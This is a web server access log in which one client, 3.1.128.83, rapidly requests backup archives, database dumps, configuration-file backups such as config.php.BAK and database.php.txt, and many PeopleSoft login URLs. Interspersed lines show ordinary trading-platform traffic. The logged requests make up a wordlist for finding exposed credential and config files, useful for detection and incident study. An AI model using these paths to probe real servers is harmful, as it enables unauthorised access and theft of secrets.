[09/Jan/2026:10:55:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.gz HTTP/1.1" 196
[09/Jan/2026:10:55:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927620672 HTTP/1.1" -
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.war HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927606902 HTTP/1.1" -
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.7z HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.gz HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.lz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.rar HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.gz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.xz HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.zip HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.z HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927610830 HTTP/1.1" -
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.Z HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.db HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.jar HTTP/1.1" 196
[09/Jan/2026:10:55:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.gz HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.lz HTTP/1.1" 196
